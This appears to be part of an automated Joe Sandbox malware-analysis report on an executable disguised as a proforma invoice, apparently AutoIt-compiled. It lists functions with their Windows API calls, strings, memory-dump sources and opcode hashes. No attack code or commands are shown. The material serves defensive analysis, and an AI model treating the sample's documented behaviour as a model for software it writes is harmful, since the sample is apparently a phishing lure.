GetMenuItemCount.USER32(017A58C0), ref: 0048BDA4
InsertMenuItemW.USER32(017A58C0,?,00000001,00000030), ref: 0048BDCC

Strings

0, xrefs: 0048BCA8
2, xrefs: 0048BD37

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup
String ID: 0$2
API String ID: 93392585-3793063076
Opcode ID: 42e553a4e654265a8d7419b793b2561eeb56eaa3cfbf1c199582a09e1ffee5f6
Instruction ID: cd84db14afbd3b5894fd28a9e3f47e533da171e5c950e98dd3c9c747690188a9
Opcode Fuzzy Hash: 42e553a4e654265a8d7419b793b2561eeb56eaa3cfbf1c199582a09e1ffee5f6
Instruction Fuzzy Hash: 2951D270A00205FFDB11EFA9D8C4BAEBBF5EF45314F144A1AE84197390D7789941CBA9

Function 00442D20 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00442D4B
___except_validate_context_record.LIBVCRUNTIME ref: 00442D53
_ValidateLocalCookies.LIBCMT ref: 00442DE1
__IsNonwritableInCurrentImage.LIBCMT ref: 00442E0C
_ValidateLocalCookies.LIBCMT ref: 00442E61

Strings

&HD, xrefs: 00442DFE, 00442E07, 00442E18
csm, xrefs: 00442DF6

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: &HD$csm
API String ID: 1170836740-3754641800
Opcode ID: c1ec314a482447e61c1304621720e007ad1c9b7c1ac6aee0eca966bb62e9e232
Instruction ID: 7da2b9e0d3ac9f83241b0665dfdac3b2bf4e020d0c22d8e36a8c6220d4c17f15
Opcode Fuzzy Hash: c1ec314a482447e61c1304621720e007ad1c9b7c1ac6aee0eca966bb62e9e232
Instruction Fuzzy Hash: BF41E674E00208DBDF10DF69C985A9FBBB4BF44328F54815BF814AB352D7799A01CB98

Function 0048C874 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 81windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 0048C913

Strings

blank, xrefs: 0048C895
question, xrefs: 0048C8CC
warning, xrefs: 0048C8FC
info, xrefs: 0048C8B4
stop, xrefs: 0048C8E4

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2457776203-404129466
Opcode ID: 74d7359e8bfd31f226a72af272bf6fc4b5791d3eb41ca9ac5d58da4836e3ac2f
Instruction ID: bf5c668435d66832e1e5914eb625815cb74039cc67716dd9f940ee0ef2283cd1
Opcode Fuzzy Hash: 74d7359e8bfd31f226a72af272bf6fc4b5791d3eb41ca9ac5d58da4836e3ac2f
Instruction Fuzzy Hash: A3112B71789706BAA7007B159CC2EAF679CDF15369B21046FF500A6382E77C5E0153BD

Function 0048ED19 Relevance: 12.1, APIs: 8, Instructions: 137timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 0048ED2A
_wcslen.LIBCMT ref: 0048ED3B
_wcslen.LIBCMT ref: 0048ED79
_wcslen.LIBCMT ref: 0048EDAF
_wcslen.LIBCMT ref: 0048EDDF
_wcslen.LIBCMT ref: 0048EDEF
_wcslen.LIBCMT ref: 0048EE2B
_wcslen.LIBCMT ref: 0048EE5A

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: _wcslen$LocalTime
String ID:
API String ID: 952045576-0
Opcode ID: fb5fb77bad73c2375e5b8240b5572293ef0bad95caba553eddaffee60a267e90
Instruction ID: c03bcf6af0a17558b2c0652073a371fcf2331b154489fa70ac542155895b4c53
Opcode Fuzzy Hash: fb5fb77bad73c2375e5b8240b5572293ef0bad95caba553eddaffee60a267e90
Instruction Fuzzy Hash: 8941B565C1011875EB11FBF6888AADFB7A8AF46310F50886BE514F3161FB38D245C3AE

Function 0043F8D8 Relevance: 12.1, APIs: 8, Instructions: 124COMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,000000FF,?,00000000,?,0047682C,00000004,00000000,00000000), ref: 0043F953
ShowWindow.USER32(FFFFFFFF,00000006,?,00000000,?,0047682C,00000004,00000000,00000000), ref: 0047F3D1
ShowWindow.USER32(FFFFFFFF,000000FF,?,00000000,?,0047682C,00000004,00000000,00000000), ref: 0047F454

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: 025238e3778da7027c2fb1bb9da6655355319097dc7431e8073c85d1c0539a81
Instruction ID: 64f2f4c6696daead36053a6a2c596add8b04f1a9be89c804e325fc8955552b97
Opcode Fuzzy Hash: 025238e3778da7027c2fb1bb9da6655355319097dc7431e8073c85d1c0539a81
Instruction Fuzzy Hash: E8412BB1904640BBD7388B2988C876B7B91AF5E324F14A13FE04B56760C67DA88DCB1D

Function 004B2D03 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 004B2D1B
GetDC.USER32(00000000), ref: 004B2D23
GetDeviceCaps.GDI32(00000000,0000005A), ref: 004B2D2E
ReleaseDC.USER32(00000000,00000000), ref: 004B2D3A
CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 004B2D76
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 004B2D87
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,004B5A65,?,?,000000FF,00000000,?,000000FF,?), ref: 004B2DC2
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 004B2DE1

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: 75ac3929410914cbedcf8b4f41221053bc00435cb9047e006d6b5a1b1f005356
Instruction ID: 2a5cc7eb944f02e6a3524c952499a8e715fe81207836acc5dc3da49e210000c3
Opcode Fuzzy Hash: 75ac3929410914cbedcf8b4f41221053bc00435cb9047e006d6b5a1b1f005356
Instruction Fuzzy Hash: 13316D72201214BBEB114F54CC89FEB3BADEF49755F044166FE089A291C6B99C51CBB8

Function 00485622 Relevance: 12.1, APIs: 8, Instructions: 92COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 00485637
_memcmp.LIBVCRUNTIME ref: 00485659
_memcmp.LIBVCRUNTIME ref: 00485671
_memcmp.LIBVCRUNTIME ref: 00485684
_memcmp.LIBVCRUNTIME ref: 0048569E
_memcmp.LIBVCRUNTIME ref: 004856B1
_memcmp.LIBVCRUNTIME ref: 004856C9
_memcmp.LIBVCRUNTIME ref: 004856E4

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 7d53b607085b7d3610ee87aa2d41c445eef6f44ef8e75a6ccfcfdc86c19e3a6f
Instruction ID: 8c1182f81441247f8bdf70ffc333d7de627ac004e89d796b877438f48b532967
Opcode Fuzzy Hash: 7d53b607085b7d3610ee87aa2d41c445eef6f44ef8e75a6ccfcfdc86c19e3a6f
Instruction Fuzzy Hash: A6219561650A0977F61479218D82FFF235CAE20398F544827FD0CAAA81F72DED5583BD

Function 004A4FAE Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 359COMMON

Download Yara Rule

Strings

Not an Object type, xrefs: 004A5007
NULL Pointer assignment, xrefs: 004A502E, 004A5383

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: d00890adef0c372df2a5f4b6139a7f08141369eed14f16fdd8025b596a47a616
Instruction ID: 7145fc80cf23ae31c0335effd7866888e62e3e02bb880759808bb3721cf415c9
Opcode Fuzzy Hash: d00890adef0c372df2a5f4b6139a7f08141369eed14f16fdd8025b596a47a616
Instruction Fuzzy Hash: EAD1E371A0060AAFDF10CFA8C980BAEB7B5FF59304F14806AE915AB380E374DD45CB54

Function 00461522 Relevance: 10.8, APIs: 7, Instructions: 268COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00000000,00000000,?,7FFFFFFF,?,?,004617FB,00000000,00000000,?,00000000,?,?,?,?,00000000), ref: 004615CE
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000,?,004617FB,00000000,00000000,?,00000000,?,?,?,?), ref: 00461651
MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,004617FB,?,004617FB,00000000,00000000,?,00000000,?,?,?,?), ref: 004616E4
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000,?,004617FB,00000000,00000000,?,00000000,?,?,?,?), ref: 004616FB

Part of subcall function 00453820: RtlAllocateHeap.NTDLL(00000000,?,004F1444,?,0043FDF5,?,?,0042A976,00000010,004F1440,004213FC,?,004213C6,?,00421129), ref: 00453852

MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,?,004617FB,00000000,00000000,?,00000000,?,?,?,?), ref: 00461777
__freea.LIBCMT ref: 004617A2
__freea.LIBCMT ref: 004617AE

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: ByteCharMultiWide$__freea$AllocateHeapInfo
String ID:
API String ID: 2829977744-0
Opcode ID: 2389df38de1416c64d11ca6291093fee6dd364348eb7947c3f830de3caa32f31
Instruction ID: 0c3977db0187eaa3714440e9abc947447a31ed1e888733596a66854c4119b9de
Opcode Fuzzy Hash: 2389df38de1416c64d11ca6291093fee6dd364348eb7947c3f830de3caa32f31
Instruction Fuzzy Hash: FD91B471E00216ABDB208E65C881AEFBBB59F45314F1C465BE802E7261F739CD44CB6A

Function 004A4523 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 262COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 004A4648
VariantInit.OLEAUT32(?), ref: 004A4749
VariantClear.OLEAUT32(?), ref: 004A4753
VariantClear.OLEAUT32(?), ref: 004A47B0

Strings

Incorrect Object type in FOR..IN loop, xrefs: 004A472C
Null Object assignment in FOR..IN loop, xrefs: 004A45D8, 004A4706, 004A47BE

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Variant$ClearInit
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2610073882-625585964
Opcode ID: f9eec6c4c762e38413abedd937fc2369d0758c7cacc8c29703b62e78e4fb0865
Instruction ID: 2e98ec154a30a25a9474fd1a45db99cf22e8c5b377ce64b1aa993c8930b742f2
Opcode Fuzzy Hash: f9eec6c4c762e38413abedd937fc2369d0758c7cacc8c29703b62e78e4fb0865
Instruction Fuzzy Hash: 4391B334A00215ABDF20CFA5C884FAFB7B8EFD6714F10855AF505AB281D7B89941CFA4

Function 00491187 Relevance: 10.8, APIs: 7, Instructions: 254COMMON

Download Yara Rule

APIs

SafeArrayGetVartype.OLEAUT32(00000001,?), ref: 0049125C
SafeArrayAccessData.OLEAUT32(00000000,?), ref: 00491284
SafeArrayUnaccessData.OLEAUT32(00000001), ref: 004912A8
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 004912D8
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 0049135F
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 004913C4
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 00491430

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: ArraySafe$Data$Access$UnaccessVartype
String ID:
API String ID: 2550207440-0
Opcode ID: c5aab7c7c340e1480d7c63075f364fa3314840b5b0cc8ca3a28147e7fd3e4f41
Instruction ID: 9d022c636ff41d7259aa27df8603668a753854b4e99461b340388a5605d943e6
Opcode Fuzzy Hash: c5aab7c7c340e1480d7c63075f364fa3314840b5b0cc8ca3a28147e7fd3e4f41
Instruction Fuzzy Hash: 4E91C275A0021A9FEF009F95C885BBE7BB5FF48314F14407BE901EB2A1D778A941CB99

Function 0043948A Relevance: 10.8, APIs: 7, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: a3abd98fb66e18bc0455fafe22fd54477256492348e6caf04fac0825479edea0
Instruction ID: 9db8cdb216f5efeaee49454a45a1c2bd6b28a9a08adadbd8b8e0ab16d02c4f0e
Opcode Fuzzy Hash: a3abd98fb66e18bc0455fafe22fd54477256492348e6caf04fac0825479edea0
Instruction Fuzzy Hash: 71911771D04219EFCB10CFA9C884AEEBBB8FF49320F14955AE515B7251D378AD82CB64

Function 004A3947 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 240COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 004A396B
CharUpperBuffW.USER32(?,?), ref: 004A3A7A
_wcslen.LIBCMT ref: 004A3A8A
VariantClear.OLEAUT32(?), ref: 004A3C1F

Part of subcall function 00490CDF: VariantInit.OLEAUT32(00000000), ref: 00490D1F
Part of subcall function 00490CDF: VariantCopy.OLEAUT32(?,?), ref: 00490D28
Part of subcall function 00490CDF: VariantClear.OLEAUT32(?), ref: 00490D34

Strings

AUTOIT.ERROR, xrefs: 004A3A80, 004A3A85
Incorrect Parameter format, xrefs: 004A39A6, 004A3BA1

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper_wcslen
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4137639002-1221869570
Opcode ID: 3f2cf1ba57e26a597ce0ed90bb40f77d12cf2913e3c72ed583895ac70f99c509
Instruction ID: f691192dc17508075fc939fe4e6d77cc2b5939a189b5a319429f79702050577d
Opcode Fuzzy Hash: 3f2cf1ba57e26a597ce0ed90bb40f77d12cf2913e3c72ed583895ac70f99c509
Instruction Fuzzy Hash: 71918C746083059FC700EF25C48096AB7E5FF99319F14886EF88997351EB38EE45CB9A

Function 004A4BAD Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 236COMMON

Download Yara Rule

APIs

Part of subcall function 0048000E: CLSIDFromProgID.OLE32(?,?,?,00000000,?,?,?,-C000001E,00000001,?,0047FF41,80070057,?,?,?,0048035E), ref: 0048002B
Part of subcall function 0048000E: ProgIDFromCLSID.OLE32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0047FF41,80070057,?,?), ref: 00480046
Part of subcall function 0048000E: lstrcmpiW.KERNEL32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0047FF41,80070057,?,?), ref: 00480054
Part of subcall function 0048000E: CoTaskMemFree.OLE32(00000000,?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0047FF41,80070057,?), ref: 00480064

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,00000001,?,?), ref: 004A4C51
_wcslen.LIBCMT ref: 004A4D59
CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,?), ref: 004A4DCF
CoTaskMemFree.OLE32(?), ref: 004A4DDA

Strings

NULL Pointer assignment, xrefs: 004A4E23, 004A4E52

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: FreeFromProgTask$CreateInitializeInstanceSecurity_wcslenlstrcmpi
String ID: NULL Pointer assignment
API String ID: 614568839-2785691316
Opcode ID: 1e3719f63b0d876ebe5452d6b1455f52e883dba1d66a8cd547c804dc6346db32
Instruction ID: 63b5bf5502287940d34635f8d6666354b9bdb87cd765cbbb8d83a298c2e3433c
Opcode Fuzzy Hash: 1e3719f63b0d876ebe5452d6b1455f52e883dba1d66a8cd547c804dc6346db32
Instruction Fuzzy Hash: C2915971D0022D9FDF10EFA5D880AEEB7B8BF49304F10856AE815A7241DB785E45CF64

Function 004B20FD Relevance: 10.7, APIs: 7, Instructions: 196windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 004B2183
GetMenuItemCount.USER32(00000000), ref: 004B21B5
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 004B21DD
_wcslen.LIBCMT ref: 004B2213
GetMenuItemID.USER32(?,?), ref: 004B224D
GetSubMenu.USER32(?,?), ref: 004B225B

Part of subcall function 00483A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00483A57
Part of subcall function 00483A3D: GetCurrentThreadId.KERNEL32 ref: 00483A5E
Part of subcall function 00483A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,004825B3), ref: 00483A65

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 004B22E3

Part of subcall function 0048E97B: Sleep.KERNEL32 ref: 0048E9F3

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Menu$Thread$Item$AttachCountCurrentInputMessagePostProcessSleepStringWindow_wcslen
String ID:
API String ID: 4196846111-0
Opcode ID: b4f8d315e50f674e73ed0b0d5d9b6b9d463a0ec0a0f34678cb3126164c98ca40
Instruction ID: 9d37436190876bfbfb5dd21d343ebb4f9de92d6a0eb3ad90e3e2945c4d695983
Opcode Fuzzy Hash: b4f8d315e50f674e73ed0b0d5d9b6b9d463a0ec0a0f34678cb3126164c98ca40
Instruction Fuzzy Hash: 8771A275E00215AFCB14DF69C985AEEB7F1EF48314F10849AE816EB341D778ED428BA4

Function 0048AEBA Relevance: 10.7, APIs: 7, Instructions: 162windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 0048AEF9
GetKeyboardState.USER32(?), ref: 0048AF0E
SetKeyboardState.USER32(?), ref: 0048AF6F
PostMessageW.USER32(?,00000101,00000010,?), ref: 0048AF9D
PostMessageW.USER32(?,00000101,00000011,?), ref: 0048AFBC
PostMessageW.USER32(?,00000101,00000012,?), ref: 0048AFFD
PostMessageW.USER32(?,00000101,0000005B,?), ref: 0048B020

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
